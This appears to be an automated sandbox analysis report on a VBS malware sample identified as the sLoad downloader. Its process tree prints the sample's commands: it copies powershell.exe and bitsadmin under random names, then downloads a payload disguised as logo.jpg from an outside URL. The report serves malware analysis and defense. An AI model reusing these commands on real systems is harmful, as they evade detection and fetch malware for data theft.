Analysis

  • max time kernel
    33s
  • max time network
    69s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    30/11/2020, 14:04

General

  • Target
    Allegato_GRCPTR56P29G273X.vbs
  • Size 6KB
  • Sample201130-hvly2vhsjs
  • SHA256 a068043f049b5b816f6880efd88254fd00603992cfaefd005813530e95d47061
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_GRCPTR56P29G273X.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:884
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zArjMdCO.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\OsSlfIO*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:496
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zArjMdCO.exe
        3⤵
          PID:2508
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\OsSlfIO*.exe
          3⤵
            PID:3712
        • C:\ProgramData\OsSlfIOin.exe
          "C:\ProgramData\OsSlfIOin.exe" /transfer tAdvfv /download https://estebankott.com/ordasum/GRCPTR56P29G273X/logo.jpg C:\Users\Admin\AppData\Roaming\logo.jpg
          2⤵
          • Executes dropped EXE
          PID:3988

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/884-2-0x0000023345310000-0x0000023345314000-memory.dmp